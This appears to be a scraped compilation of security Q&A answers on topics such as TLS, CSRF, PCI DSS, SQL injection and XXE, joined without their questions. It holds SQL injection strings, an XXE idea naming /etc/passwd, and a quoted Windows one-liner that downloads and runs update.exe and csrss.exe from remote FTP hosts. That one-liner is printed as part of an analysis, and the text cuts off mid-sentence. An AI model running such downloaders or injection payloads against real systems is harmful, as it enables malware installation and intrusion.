OSCP (Offensive Security's PWK) Requirements

Absolute statements regarding OSCP

You DO NOT require coder kind of skills. (Therefore, one is wasting his time learning hardcore programming for OSCP. Although It's always a plus if you have some coding skills in your arsenal.)
Basic scripting is needed. (It is also limited to python and shell scripting.)
A complete Networking Nerd. (You should be able to eat and digest the entire TCP/IP)
Love Linux (My choice would be to enslavement! but a decent knowledge of Linux usage is enough)
Exposure to Exploits/pentesting methodology(In my view this part is more important because this one tells you "How to go about your business")


Difference in size avaialbe in encrypted volume

"Setting the size to 12 MB" doesn't tell much.

Some file systems do not scale well downwards. FAT32 will reserve space for directory structures and file allocation tables, which will give you an overhead of unuseable space. The actual space left for storing files will be the volume size minus that overhead.

After creating the volume, open it (it will be empty) and check what the available size actually is.

Even so, differences in allocation block size may mean that you cannot store what on disk A are 8 megabytes onto disk B even if you have 8 megabytes free there (the "File size (on disk)" is what matters here). After each file copy, verify how much the available space has shrunk.


Sql database password encryption opinion needed

No, this is not a good idea!
As Lukas pointed out in an comment, you want to hash a password, never encrypt it!
With your schema, it would be possible to get the plaintext passwords from an database dump without any effort. Don't let that happen!


Why is additional_data empty in TLS 1.3?

First, thanks to StackzOfZtuff for digging through the various commits and finding out which are relevant.

From my understanding version and sequence where removed in draft 11 from additional_data since they were already protected by other means or no protection was needed in the first place. This is indicated by issue 278 which removes the version since it is not variable anymore. And in issue 318 the sequence number is removed given that the nonce is already included in AEAD input and the nonce is directly derived from the sequence number, which means that no addition  protection for the sequence number is needed. Since these were the only data contained in additional_data it was now empty.

In draft 25 additional_data where set to include the record layer header (i.e. type, legacy version and length) after a discussion in issue 1145 successfully argued that not only the encrypted data but also the record layer header need to be protected against modifications.


Why Shellshock works in useragent string?

A webserver could use the contents of the User-Agent header for logging purposes, to control access ("deny all bots") or return alternative responses ("mobile-friendly pages"). The validity of a header value depends on the application, it is not possible to write on rule that works with everything.

Consider the Cookie header. One site could purely use it to store a session identifier such as sessionid=01234567890abcdef. A different site might choose to store locales, such as lang=nl-NL. You could apply a character blacklist, but then someone might exploit a bug in your application which results in lang=--help being treated as an command-line option.

For CGI programs, web browsers will usually invoke the script and pass headers via environment variables such that the script can use this information as well. This is not limited to the User-Agent header, the values of Cookie might be more interesting for the script. The "form input" as you describe is different from the headers. Headers come before the message body.

Now about the Bash bug that leads to the "Shellshock" security issue, all you need is control over at least one environment variable. As you can see, direct CGI access on a webserver is one example where that condition is satisfied. You could also be affected when the program (PHP, Cgit, ...) invokes the shell, directly (via a shell script) or indirectly (via a shell command).


The intention with sending a custom header such as X-CSRF-Token as well as a cookie is that the technique, called double submit, will mitigate CSRF if implemented properly. The way it works is that while cookies will be automatically sent with a forced request as in the case of CSRF, the custom header will not, stopping an attacker from forcing you, the victim, to not get attacked because the server will look for both values. Double submit is used in cases where the application doesn't want to keep track of state of an anti-CSRF token.


Logoff CSRF has no real impact.  CSRF is also called a "session riding" attack, in which an adversary wants to use the authenticated session to have some useful side-effect. Ending the session is counter-productive to a real compromise - such as changing the email or password on a target's account.

Most features are vulnerable to CSRF by default, and the developer has to go out of their way to stop the problem.  Google search is also affected by CSRF, and it has no impact, because this request doesn't have an interesting side-effect. A google search request only displays interesting data which the attacker cannot see.


There is little you can do without SSL. Get a free cert from StartSSL and then come back with more specific questions.


Application Whitelisting Approaches/Options on non-Enterprise Windows PCs

I think Software Restriction Policies are what you're looking for. It is basically the predecessor to Applocker, and it is still supported for application whitelisting or blacklisting. It isn't as powerful or comprehensive as Applocker, but on Professional versions without Applocker, it can get the job done.

See Spiceworks Guide on Deployment and Microsoft Technet Description for more details.


OID for creation date/time (X509 certificate field)

Nothing that is recognized and interpreted by TLS clients -- the reason being such a field is entirely irrelevant. There's no action to take based on what such a field would contain, so nothing would have a reason to even read it.

But if you want to record that information for your own bookkeeping, then just embed the information somewhere where it won't break anything. The nsComment field is a good example. Or you could create your own OID. There's no harm in that as long as you don't re-use someone else's prefix.


FIPS 201(-2): Central requirements for PIV?

Here is a link to the FIPS 201 document on NIST's website.

This is pulled from the linked document and might directly answer your question:

The PIV Card shall contain security features that aid in reducing counterfeiting, are resistant to tampering, and provide visual evidence of tampering attempts. At a minimum, a PIV Card shall incorporate one such security feature.
Examples of these security features include the following:
• optical varying structures;
• optical varying inks;
• laser etching and engraving;
• holograms;
• holographic images; and
• watermarks.


Pegasus iOS exploit & Kernel Memory Corruption

The exploit uses a combination of three vulnerabilities. Each vulnerability is a bug in an iOS component that allows the attacker to do things that are not supposed to be possible.

Stage 1 (CVE-2016-4657) is a bug in WebKit, a library of code used to render web pages. WebKit code is executed in the context of the Safari web browser of iOS. No details have been released yet, only the description as a “memory corruption issue was addressed through improved memory handling”. This could be a buffer overflow, a use-after-free, or some other similar type of bug. The general idea of memory corruption bugs is that the attacker passes inconsistent data (here, some web page content — could be HTML, CSS, JavaScript, etc.) and instead of detecting the inconsistency the program behaves in an inconsistent way and ends up overwriting some of its own instructions with data supplied by the attacker. This allows the attacker to execute the code of their choice in Safari.

Stage 3 (CVE-2016-4656) is also a memory corruption bug about which no details have been released, but this time in the kernel. This bug allows an iOS application to corrupt some data structures in the kernel and either execute code in the kernel or (I suspect given the description) at least elevate the privileges of the calling application so that it can do things that applications aren't supposed to do, such as installing programs that bypass normal iOS permissions and so allow e.g. installing spyware that won't be shown in the list of installed applications because it masquerades as part of the basic operating system.

Stage 2 (CVE-2016-4655) is an enabler for stage 3. Normally it shouldn't matter that the program know how the kernel maps its memory. And if the attacker is able to cause the kernel to execute arbitrary code then the game is lost. But it can happen (and this is probably the case here) that the attacker doesn't have much room in which to play. For example, maybe there's a size check that's present but slightly off, so the attacker is only able to overwrite a few bytes after the place where the injected data is located. In such cases, the attacker may need to know exactly what to put in that location, otherwise they won't be able to cause any interesting effects. If the location they can overwrite is a pointer, they need to know what to put there to cause the kernel to use valid but wrong data, rather than an invalid pointer that would just cause a crash. For example, change a pointer to a list of capabilities to the address of a place in memory that's known to contain what looks like a list containing some key system capabilities. For that, knowing where the kernel maps its data lets the attacker calculate the right pointer value.

Just to be clear, I'm just giving examples of plausible attack methods that fit the one-line descriptions that have been released at this time.

The best way to get a feel for how this works is to write a few exploits yourself. Get some old versions of software (preferably open-source) with known exploitable vulnerabilities, and go and write an exploit. You may also want to play some CTF.


Recommended policy on password complexity

Some links and recent research related to policies and the actual resistance to cracking of the resulting passwords is presented by Matt Weir in Reusable Security: New Paper on Password Security Metrics and CCS Paper Part #2: Password Entropy

One quick takeaway is noted: "forcing users to change their password every six months isn't very useful"

See also other questions here like this one.


Hi @VladislavLysov Welcome.

I am afraid you will need to a bit more specific; there seems to be a slight difference between storing and transmitting details. Some data should never be stored, even in the encrypted form, such as item 3.2.3, which says: "Do not store the personal identification number (PIN) or the encrypted PIN block."

Going back a step, Requirement 3: Protect stored cardholder data

3.1 - Keep cardholder data storage to a minimum by implementing data retention and disposal policies, procedures and processes, as follows.

3.2 - Do not store snsitive authentication data after authorization (even if encrypted).

Sensitive data in this context are:

Card Verification Value
PIN or the encrypted PIN Block
The full contents of the Magnetic Stripe

Regarding the Magnetic Stripe, PCI itself says that in "the normal course of business, the following data elements from the magnetic stripe may need to be retained:

Cardholder Name
Primary Account Number (PAN)
Expiration Date
Service Code"

Finally,
 3.3 - Mask PAN when displayed (the first six and last four digits are the maximum number of digits to be displayed).

So to sum up and (hopefully) answer your questions, 1) In my view, the whole communication should be done in an encrypted manner 2) none of the items of the three bullet points should ever be stored, neither encrypted, nor masked. What you mentioned about masking concerns the storage of the PANs, which should not be visible to anyone else apart from the very few users who have the right to see it in order to carry on their jobs. In cases where the PAN is displayed, say, to the user, then that's when you need to mask it as not to show the whole number. CVVs, PINs should never be stored anywhere, including the logs you mentioned. You may store (for not longer than necessary) some of the magnetic stripe contents, and that should be encrypted. You may also store PANs, but again they need to be masked out in the general logs and when presenting it to users.


Web application software architecture: basic security

The standard solution here actually makes use of three tiers, independent of the server, where you have an Internet-facing web tier/server (presentation layer only), then an application tier/server (business logic of your app), and then a database tier/server (storage).

A firewall sits in front of your web server and only allows web (http and/or https) traffic in. Another firewall then sites between you web server and your application server and only allows the protocols necessary for your app to function to pass through and only from the web server(s). The web server is, in effect, isolated between two firewalls in what we call a DMZ and the interfaces both from the Internet into the DMZ and from the DMZ into the internal network are tightly controlled so that only expected protocols pass and only to/from expected hosts. But...ONLY the web tier should be accessibly from the Internet, and only using the protocols that are necessary (HTTP and/or HTTPS). The application server should not be, and the database and/or storage should ABSOLUTELY not be accessibly from the Internet. The idea here is that only the front-end, web tier, should ever be accessible from the Internet...all connections to the application tier should come from the web tier and all connections to the database tier should come from the application tier.

You can make this stronger by deploying mutually-authenticated SSL/TLS between the tiers.

Microsoft has a good write-up on this that is here. It includes a bunch of .NET/ASP stuff, but the general idea is platform-agnostic.


256 Bit Key into AES 128 same output as 256 Bit Key into AES 256

"AES-128" means "AES used with a 128-bit key". "AES-256" means "AES used with a 256-bit key". By definition, you should use a 128-bit key with AES-128, and a 256-bit key with AES-256.

What happens when you give a 256-bit key to AES-128, or a 128-bit key to AES-256 ? By all rights, it should blow up in your face. However, some implementations are more tolerant. Some implementations will automatically adjust to the provided key size; in that case, when you put a 256-bit key into AES-128, the AES-128 implementation morphs into an AES-256 implementation (AES-128, AES-192 and AES-256 are very similar internally; they differ only by the number of rounds; so it makes sense that they share most of their code). Some other implementations will ignore your "key length" and grab the bytes they believe they need; e.g. you give a 256-bit key to an AES-128, and only the first 128 bits get used. Since you are doing things out of specification, this is the realm of the bug, and anything goes.


Bypass login with mqsql_fetch_object - Sql injection

There is a SQL Injection obviously on $username parameter, but you can't bypass login, because the password is compared with the result of the query, for example, if you inject ' or 1=1 --, the query will be:

SELECT dr FROM table WHERE user='' or 1=1 --

But this doesn't mean you can access to the application, the following line code shows how the result of the query is compared with the parameter dr:

if (mysql_fetch_object($result)->dr==$password) {
            $okay=true;
}

This is part of the best prractices about login based on SQL queries; compare username and password independently.

I hope this information helps you.


My local machine was infected with malware from a clients web server

With my developer hat on:

If the new site is "all new", including the OS, then I would not have investigated the hacked site. I would have chalked it up as a "past event".
If the new site was on the existing, unchanged server, after seeing the evidence of the hack, I would have rebuilt the server from scratch, and not bothered with understanding the details of the hack.
If the new site builds on top of the existing site, I would want to know the nature of the hack to determine how to proceed.

With my InfoSec hat on:

I would want to investigate the hack to see just how far it went and how much sensitive data may have been exposed and what on-going threat exists for the client. But that threat is informed by what data and what impact there would be if this server was hacked.

Short answer: you investigate to understand the scope of the threat and impact. If the scope doesn't matter, then there is no need to investigate (moldy bread is only a problem if you hoped to eat it, not if it is in the compost bin). But I imagine that there are things to be learned about the threats to your client, and I would investigate.

As for "cleaning up the hacks", I'm not sure of the value of doing that, but that depends on what you hope to do with the backup file. I would back up the site and tag it as having malicious files. If you hope to go into the backup files regularly, I might remove the obviously infected files.


What to add to a repeating security checklist?

CERT's Windows Intruder Detection checklist is a good start.

  This document outlines suggested steps for determining whether your Windows system has been compromised. System administrators can use this information to look for several types of break-ins. We also encourage you to review all sections of this document and modify your systems to address potential weaknesses.

It points out in particular that logs, while possibly useful, are not reliable for detecting intrusion.

  Proactive auditing and monitoring are essential steps in intrusion detection. It is ineffective to audit altered data or compromised systems -- their logs are unreliable. Establish a baseline for what you consider normal activity for your environment so you can determine unusual events and respond appropriately. See section C16 of this document for more information on audit settings and events useful to detect successful attacks or attacks in progress.

At a broad level, their checklist is

  A Word on Rootkits
  Examine Log Files
  Check for Odd User Accounts and Groups
  Check All Groups for Unexpected User Membership
  Look for Unauthorized User Rights
  Check for Unauthorized Applications Starting Automatically
  Check Your System Binaries for Alterations
  Check Your Network Configurations for Unauthorized Entries
  Check for Unauthorized Shares
  Check for Any Jobs Scheduled to Run
  Check for Unauthorized Processes
  Look Throughout the System for Unusual or Hidden Files
  Check for Altered Permissions on Files or Registry Keys
  Check for Changes in User or Computer Policies
  Ensure the System has not been Joined to a Different Domain
  Audit for Intrusion Detection


Can my father's smartphone be compromised?

Tapping a file without an extension will not run it so you are safe there.

If you have unexplained apps or files on your phone and you suspect malware your only good course of action it's to re-image/reset the phone to factory defaults.


Does it make sense to hash a session id before passing it to an advertisement partner?

Yes, what you're saying makes sense.

By setting your cookie as an HttpOnly cookie, you're mitigating the risk of your partner's JavaScript having access to the user's session ID. Since your partner insists on getting a unique identifier for your customers, I see nothing wrong with sending them a securely hashed version of the session ID.

The key point here is that you don't use the hashed version of the session ID as an identifier, so your partner won't be able to use it to impersonate your customers, but at the same time, the hashed version is unique enough for your partner to recognize your customers.

As for what to use for hashing, it doesn't matter which hashing algorithm you use, as long as its output length equals or larger than your session ID .In this case, of course, you need to use a fixed salt (a pepper) all the time because you want the same session ID to produce the same hash.


Effects of DDoS attacks on memory use under Linux

DDoS, or Distributed Denial of Service attacks are generally not meant to exploit a bug in code, but rather simply flood the host with packets, causing a denial of service either by saturating the connection to the box or by causing the machine to use all the CPU trying to process the amount of data coming in, the latter being more common on SSL (HTTPS) websites since the CPU must also decrypt/encrypt data streams.

HOIC and LOIC are essentially user-installed botnets that allow you to let your machine participate in a DDoS.  These are attacks which are tough to defend.

Slowlaris and Pylaris are Denial of Service attacks which exploit the logic of the webserver.  They cause a denial of service by opening a connection and leaving it open until it essentially times out, and by opening many at once and leaving them open  the webserver hits a maximum connection number and stop accepting new connections until someone disconnects.

In 2011 a bug was found in Apache that was exploited to cause memory exhaustion.

From what I understand of your question, the short answer is on most webservers, DDoS effects on memory is negligible.  I understand that VPS' are low memory, so write a short script to test it yourself.

Referring to your previous post, multiple subnets attacking does not change anything since it all still flows through the pipe.


Can open, unsecured wifi networks capture stored passwords?

If the passwords can be stolen on open Wifi depends if the password is transmitted in the first place and then if the data are transmitted in clear.

Are the data transmitted in clear?

If you use https  instead of http for all data (like in case of gmail) then the data are not transmitted in clear. This means that it is unlikely that an attacker can get access to the plain traffic, although an insecure system open to MITM attacks (like having the SuperFish certificate installed) or a user blindly ignoring certificate warnings can still lead to a successful man in the middle attack and thus to interception of unencrypted traffic.

Note also that all significant traffic must be protected with https. This not only includes the main page but also any embedded scripts or CSS. Fortunately modern browsers simply block insecure mixed content by default, i.e. don't load Javascript via http if it is included on a https page.

Is the password send at all?

Most applications today have a separate login dialog which asks for the password once per session and then only transfers the status of the specific user (i.e. logged in or not and other information) using a session ID. In this case the password can not be easily sniffed since it is not transmitted in the first place. But, the session ID is in many cases as precious as the password itself and allows an attacker to impersonate the user even if the password itself is unknown to the attacker.

And, if the attacker can sniff the traffic (i.e. no https but only http) he can often also modify the traffic. This means the attacker could modify it in such a way that the current session gets invalidated and the web applications asks again for the password. If automatic filling of passwords is enabled this might even be done without the user noticing it (depends on browser).

And then there are a few sites which don't use their own login page but instead use Basic Authentication build into browsers. In this case the username and password is transmitted inside the HTTP request header for each request and can be easily extracted if the connection is not protected.

Am I save if I don't visit the site when using an open Wifi?

No you are not. If the attacker can modify some traffic he can trick your browser into visiting any site he wants and thus get access to any passwords or session ID's transmitted in clear. And if done cleverly you might not even notice it. See for example PoisonTap for how to quickly extract information from a browser. While this specific attack makes use of Ethernet over USB it can be done the same way inside an attacker controlled Wifi (which any open Wifi might be).

Also, more complex attacks are possible like polluting the browsers cache which might result in the attacker controlling some of your browsing even if you are no longer logged into the open Wifi.

What can I do to protect myself?

Don't use open Wifi at all.

Alternatively use a VPN but make sure that the VPN is actually active from start. This might not be possible in all cases since many open Wifi require to first acknowledge their terms of service. Mobile systems like Android often detect such captive portals and handle this for you by opening the captive page in a separate browser, but on Desktops you are usually on your own. Also, some open Wifi simply block VPN traffic.


Why is the read write speed of a Protected DVD so slow?

As with any encryption technique, decrypting will take longer than reading an unencyrpted or less sophisticatedly protected file. There is no exception with dvds. One way to really see the difference is to rip a dvd from two different computers with different processor speeds. You will notice that the computer with the higher speed will rip the dvd faster.


Does DNSSEC still have the "enumerate all names in zone" problem?

First, I will point out that private information should not be posted in the public domain name system. However, for the obscure case this is actually needed DNSSEC now supports NSEC3 for zones, which prevents this kind of attack (Although is more expensive on the DNS query from my understanding of how NSEC3 works compared to plain NSEC).

Edit: Didn't see the date on this question, hope my answer helps someone.

Edit2: Do note that as @kasperd points out below, this setup is still vulnerable to an offline brute force attack. Read the comments below for more information.


If I'm reading your question correctly, you'll be fine. You're still hooked up to Facebook via SSL, whose security isn't, at the moment, broken. Tor now includes HTTPS Everywhere, which would force Facebook to use SSL (assuming it was supported) even if it didn't do so by default (which, at the moment, it does). Since Firesheep (a bit later in 2010 than that post), which worked on a similar underlying principle (session hijacking by stealing a user's cookies), cookies are encrypted by SSL too. HTTPS Everywhere should even defend against SSLStrip most (some) of the time (Does HTTPS Everywhere defend me against sslsniff-like attacks?).


Deciding whether user has left the site without logging out or has simply left the site open for notifications without actually doing any work?

It's a tradeoff between usability and security. Internet banking will close connection after a very short time of inactivity, and the sites you mentionated (gmail, facebook, etc) will not logout because their users would be upset to login every time.

Your decision will be much more based in this security x making users unhappy.

Technology about it: I'm not sure that a javascript would capture all movements the user makes in his computer, even if they are outside your web-page.


Technically a captive portal is always a man-in-the-middle attack. Therefore, all techniques against MitM will and should warn about them, giving the user power to decide whether to trust or not. Some browsers do have captive portal detection, in general temporarily allowing the redirection without showing any page with the original domain.

  Contemporary security needs make transparent implementation of captive
  portals challenging. Thankfully, web browser and OS developers realize
  the importance of reporting the existence of this intermediate status
  between being connected to the Internet or not, this way reducing
  failure cases to a minimum.

From this perspective, redirecting to a separate captive portal login page with a properly signed and matching certificate would be less evil than showing the login page directly with any domain.

Do we have other options?

We could perform the redirect only on plain HTTP to avoid the certificate mismatch error. It would still be a MitM, but on a protocol that wasn't designed to detect it. This would have worked perfectly fine before HTTP Strict Transport Security (HSTS) against our  protocol downgrade attack, which this kind of captive portal would be.
No redirection at all. Simply block all traffic before the user has manually opened the login page URL and logged in. Security maximized, at the expense of convenience. Now, you have to inform your users about this arrangement, which usually means need for extra support. Even if you tell your users with pictures that they need to type this address into address bar, some of them still tries to search the address from Google.
Abandon open WiFi and use another authentication methods. No need for captive portal nor login page. Severe need for support. WPA2 enterprise would be technically ideal as you don't need a single pre-shared key, but it's less known to the target group (people using open access WiFi).

At the same time these are the very reason why captive portals still exists. My idea of a suitable replacement for captive portals would be a standardized plain HTTP URL that browsers would try to access when ever something blocking the connection is detected. That page would then perform the redirect to the login page with HTTPS and a proper certificate, and the browser should detect anything else as an attack. But this is just my dream, far from reality. Captive portals will exist as long as they work in practice.


Unidirectional Data Transmission to a Smartphone

You can use for example Soft Modem for Android, such as one based on this library. This can be made completely unidirectional if you do not connect the L/R pins and only connect PC audio output to Android MIC through a divider. Of course you would have to manually verify the integrity of the content you have sent, since in this case you will not have automatic retransmission.

However using an Android phone - especially old one - to store anything important is a bad idea. Basically while you only need the phone's memory component, you depend in many other components to access this memory - and many of those components are way less reliable than memory (display and USB charging port are probably the weakest).


Storing customer credit card information for manual processing later

PCI DSS does not prohibit the storage of the Primary Account Number (PAN). Stored PAN just needs to be protected per PCi DSS requirement 3.

You can also store the CVV2 value at with the PAN until the payment has been authorised, at which stage you must securely delete any stored CVV2. May booking services will do this automatically after the first night of the booking - as the booking company is reliant on the hotel to tell them that the transaction has been authorised.

You can continue to store the PAN as long as you have a justifiable retention policy and it remains protected per requirement 3.

Of course - you will need to comply with PCI DSS and be assessed as a service provider, and you should realise that criminals like companies with repositories of PAN and CVV2 because that's good data to steal - so you (like all such booking intermediaries) will be a target.

BUT these is nothing within PCI DSS that prevents the business model you have described.


Requiring hardware key at boot-up on normal laptop

There are several FDE (Full-Disk-Encryption) solutions that implement a pre-boot authentication (PBE) layer.
I personally only have experience with Sophos SafeGuard Easy. They are used mainly in security aware environments like military or public security.

The replace the standard boot-loader whichs provided by Windows or Linux with their own bootloader. After sucessful authentication the PBA decrypts the volumes and starts the normal bootloader.

There are several authentication methods possible, either with a smart card, a username/password combination or a YubiKey.
In the Sophos SGE solution a sync with all domain accounts on the machine is done and you can authenticate with your domain password.

In the YubiKey solution a USB-Stick is used. YubiKey with FDE

The same or another yubikey can then be used for the Windows-Logon with One-Time-Passwords.

For your process a look at the mentioned EgoSecure Solution on the Link provided may be useful.

For preventing boot from an external hard drive, the standard solution would be deactivating boot from USB in the BIOS Settings.


show previously hacked passwords with John The Ripper

To see previously cracked passwords, from the file hashed_passwords.txt that contains hashed passwords, we use this command :

john --show hashed_passwords.txt


How do I configure a home router to block traffic to and from specific geographic regions?

If you don't have a geo-lookup/block service with your router (probably you do not for a home router) then you could block based on the IP ranges assigned to China.  This is something you can search on google.  There is a list here http://lite.ip2location.com/china-ip-address-ranges

Note:  There are a lot of ip ranges and to implement this non-horribly-painfully I hope your router/firewall supports a bulk import of ranges ( the site I linked will export a csv of the ranges).


Apparently you use RSA to make a key exchange: party A wants to have a shared secret with party B (e.g. a key suitable from some AES or HMAC); thus party A generates a random value K and encrypts K with B's public RSA key. B will use its private RSA key to perform the decryption and recover K.

This process works only as long as party A uses for encryption a RSA public key that really belongs to the intended recipient (B). A might remember B's public key from a previous interaction, or there may be a central trusted repository, maybe a "virtualized" repository (that's what certificates are about). In any case there must be something to prevent attackers from pushing their own, fake RSA public keys in lieu of the genuine ones. This is not an easy problem to solve. If you generate new key pairs on a per-session basis, then that problem will become substantially harder.

Anyway, when you use SSL (which is a good idea), you already get that kind of mechanism for all client-to-server communications. SSL clients use the SSL server's public key (in the server's certificate) to establish a shared secret with that server. You don't see any of this because that's all hidden within the SSL library; but it is there. If you want some extra encryption, then I must assume that you want from user-to-user encryption, because the central server is not trusted. (If you just wanted some encryption between each client and the server, then this would be wholly redundant with the SSL.)

For user-to-user encryption, each user A must somehow know the public key of every other user B that A wants to talk with. Distribution of such public keys is the core problem, because you want to block fake keys, but you do not trust the central server for maintaining order (if you trusted the central server, then you would simply let the SSL do the job). You may want to investigate the notion of Web of Trust for a possible model for decentralized public key distribution.

For symmetric encryption, the whole point of generating new IV is indeed to be able to safely reuse symmetric encryption keys. As long as you generate such IV properly (CBC requires random, uniform, unpredictable IV), this should be fine.


How to force browser to trust a self-signed cert

Just to be clear, are you adding the self-signing CA root cert you will be using to sign other certs with?   That's what needs to go in the "Trusted CA" store.  The self-signed "leaf" cert you want the browser to trust doesn't go there.

"Trusted Root CAs" that you have highlighted is where to put the public key of the Certificate Authority (e.g. LetsEncrypt, Verisign, your in-house signing CA being used...)  If you are going to be your own CA and sign your own certs, and want your system to trust those, you need to put your CA public key there.

From your description though, it sounds like you got a site cert signed by some existing CA, and you want your browsers to trust it.

In that case, you are putting it in the wrong place.  You want either "Personal" or "Trusted publishers" but that's still just for the OS to trust it.  As @Steffen Ullrich commented above, you will also need to add your self-signing CA's public key to the browsers trustStore to do what you probably want.


How can releasing the text of an SQL query compromise security?

They probably have a DBA who has been told that you shouldn't let people know the structure of the database due to SQL injection risks.  As you mention though that doesn't make a ton of sense for an internal database.

There's no obvious risks to releasing a query from a security standpoint.  What was their exact wording of the reason they refused it?


How to verify OpenSSL's Heartbleed patch is the correct one?

Your question is actually:

  How can I be sure of the authenticity of the downloaded file?

Let's start with the details you mentioned. The checksum (MD5, SHA1, whatever) is a fingerprint of the file which allows you to check the integrity of the file. That is, whether the data has changed since the fingerprint was taken. If you get the checksum from a reliable source, then you can safely assume that the downloaded file is valid.

If you do not trust the checksum and want to authenticate the file, use the GPG signature if available. For the file in your question, this is available at http://www.openssl.org/source/openssl-1.0.1g.tar.gz.asc. If you trust the signer, and the signature matches the file, then you can assume that the downloaded file is valid. If you know nobody in its keyring, then you can look for others who trust it. For example, Debian has a copy of the signing key at http://sources.debian.net/src/openssl/1.0.2%7Ebeta1-1/debian/upstream-signing-key.pgp. This Tor script containg a GPG fingerprint of Dr Stephen Henson's private mail which has signed the openssl.org address.

If you are really paranoid and have older sources available, then you can download the file, extract it and compare the sources:

# Assume openssl-1.0.1f to be a known good source
tar xf openssl-1.0.1g.tar.gz
diff -Nur openssl-1.0.1f/ openssl-1.0.1g/

This requires some knowledge of the language in which the program was written (C for OpenSSL) though. If someone put in a backdoor, it would likely not be as obvious as // backdoor requested by the NSA.

Yet another alternative is to avoid the single download completely and fetch the sources from the source code repository at https://git.openssl.org/gitweb/?p=openssl.git. Some files may be different between the release tarball and the git repo (like the configure script), but the sources themselves should be the same.


It's possible to make an account in mainstream social media without giving them my phone number or have a phone number that can identify you?

Today gmail and facebook always ask for phone numbers, so, what now?

Get an anonymous phone number. Whilst your country may not allow them, plenty do, and as modern cell networks allow roaming, you can use a foreign SIM card.

You could even use a VoIP provider, such as google Voice (which requires an american phone number to register, but not use for receiving SMS and VoIP calls). USA notably does not require any registration of telco customers.

You can order such SIM cards on eBay.

If you want to be even more anonymous, only use the SIM card in a phone bought with cash, and in public areas in a large city.


Is PHP's eval() function vulnerable to code injection when executing a string built from an array?

No, this is not vulnerable to PHP code injection.

The string passed to eval() is simply not user-controlled. There is no path from the source $_GET["cmd1"] to the sink eval():

The argument to eval() is $cmd.
$cmd is assembled from a fixed string and $params.
$params is accumulated from a fixed string and $i.
$i is an iteration variable that depends on the (fixed) length of the array $text.

That said, passing a generated array through eval is certainly not good style and you're obviously not sanitizing output which makes the code vulnerable to XSS.


What kinds of attacks can VLAN's mitigate?

Traffic based. An example of an traffic based attack would be sniffing. By implementing VLANs, you seggragate traffic into different VLANs so that traffic that belongs to one VLAN is only visible in that VLAN. If there were no VLANs, an ARP spoofing attack could affect the whole switched network. In case there are VLANs, it would affect only the VLAN on which it is happening.


MITMproxy doesn't display HTTP/HTTPS traffic of Android Apps

If you press e, you can view the event log. This should give you a better idea of what is happening. clientconnect means that mitmproxy registers a TCP connection. If this is not the case, traffic from your phone does not reach mitmproxy at all.

Otherwise, there might be erros during the TLS handshake. You should have a Client Handshake failed message in the event log then. Maybe you need to install the mitmproxy root certificate again by visiting http://mitm.it/? If you still encounter certificate errors in the event log after you have installed the certificate properly (check by opening https://example.com/ in your mobile browser), your app is most likely using certificate pinning.


How to retrieve a particular row from database vulnerable to SQL Injection?

Basically the sql would look like this:

select * from table
where username='anything' and pw='1' or '1'='1'

We know that 'and' has precedence over 'or' so:

 select * from table
    where (username='anything' and pw='1') or '1'='1'

So if the 'anything''s password is not '1' you will get the first row since '1'='1' is always true

UPDATE:
To get the result you want you have to change username value and so for password, I'm not sure but this is nearly the values you should inject:
username='anything ('
pw=1') or '1'='1'


How can I decrypt a file with gpg to screen and not write to disk?

All you need is the -d option to gpg:

gpg -d file.txt.gpg


How can XML Injection be exploited , need example?

The XML syntax allows for automatic inclusion of other files, which can be on the same system, or even elsewhere (through a URL). See for instance this documentation. The attack would be conceptually a case where the attacker can add an "external entity reference" in a piece of XML which will be interpreted as XML by a machine (e.g. a Web server), with the rights of that server; the attacker can then make the machine read a local file of his choosing (a file local to the server) and include it in the interpreted XML. If the interpreted XML is then sent back to the attacker, then the attacker gains a read access to the server local files.

We could imagine that in a CMS system, where the attacker can insert messages with a XML syntax. If the CMS allows arbitrary XML from the attacker, then the attacker can use external entities to read and display files like /etc/passwd (or even /etc/shadow if the CMS runs as root).


Is it possible too exploit CORS with double Origin value?

First of all, to be clear: A site that returns ACAO: {your origin} for arbitrary origins, and also returns ACAC: true, is completely insecure. That site has, for the most part, turned off the same-origin policy's protections for itself; any other site on the Internet is able to view the content of, and take control of, any user's session on the vulnerable site. If you're content with client-side attacks (the category that contains XSS, CSRF, clickjacking, etc.), a site configured the way you describe is wide open. You don't need double origins or anything like that.

Now, as for whether you can do anything interesting with the bizarre behavior the server displays when you send two Origin headers: I don't know. Assuming you can control the Origin header somehow - which isn't supposed to be possible from within a browser, and is easy from something like curl but non-browser clients don't have same-origin policy and thus don't require CORS anyhow - you can try to break the server's processing of the headers. Standard attacks include newlines in the header (using %09/%0D or other encodings) to see if you can inject additional headers or entire body responses, null bytes to try confusing string-parsing code, large numbers of keys that all hash to the same value (using the platform's hashCode implementation) to try overloading a hashtable and causing a DoS attack, and more. Most of those aren't in any way particular to either the Origin header or the behavior you're observing, though.


How can I encrypt compressed data safely?

As far as I understand your scheme is not vulnerable to CRIME in the scenario you present, CRIME style attacks needing the attacker to be able to induce Bob to compress then encrypt material of his choosing, then being able to observe at the very least the size of the result.

However, if I was to attack your scheme, I'd target the part you left out : key generation and more generally key lifecycle.

If you generate your encryption key from a password, do you enforce strong password and do you use a good key derivation function, are you sure you e.g. don't lose entropy with some silly mistakes like playing with encoding or somehow normalizing the password?

Is the key randomly generated (it then begs the question, how good is your randomness source) then itself protected by another mechanism, and how strong is it?

You mention Bob machine being broken into, are you sure no key material is left behind? Do you lock key material in memory? Do you zero it properly once you are done with it? Do you avoid passing it on the command line?


Do ISP’s in America keep IP assignment logs forever?

Residential service IPs are often rotated so logs are instrumental in matching a time of use with a person.  There seems to be no legislation on how long logs need to be kept and most providers keep IP logs for 6-18 months.  None keep them forever as it is a liability and takes effort to do that beyond what's useful.  It is both about saving internal operational costs and having to cooperate with law enforcement.
Spectrum is Charter Communications.  In December 2017 information published on the Charter website indicated they keep 12 months of logs, however this information is no longer available on the Spectrum site.  Spectrum site IP information request page does not indicate how long logs are kept.
https://www.spectrum.com/policies/lea.html


I need help figuring out the meaning of a potential hijacking script

Well, there seems to be a few similar snippets of code around the web. The most similar to yours was found on a Pastebin-type site that has since been removed (but the Google Cache was still up):

cmd /c echo open 201.120.57.137 21 >> ik &echo user oracle oracle >>
ik &echo binary >> ik &echo get update.exe >> ik &echo bye >> ik &ftp
-n -v -s:ik &del ik &update.exe &exit &echo open 95.125.139.200 11104 >> eq&echo user 1297 20204 >> eq &echo get csrss.exe >> eq &echo quit >> eq &ftp -n -s:eq &csrss.exe &del eq

Although the code is somewhat different, there is quite good analysis from veteran Ars Technica forum member Syonyk here:

tl;dr version: "Don't run VNC on a public IP with anything but a very,
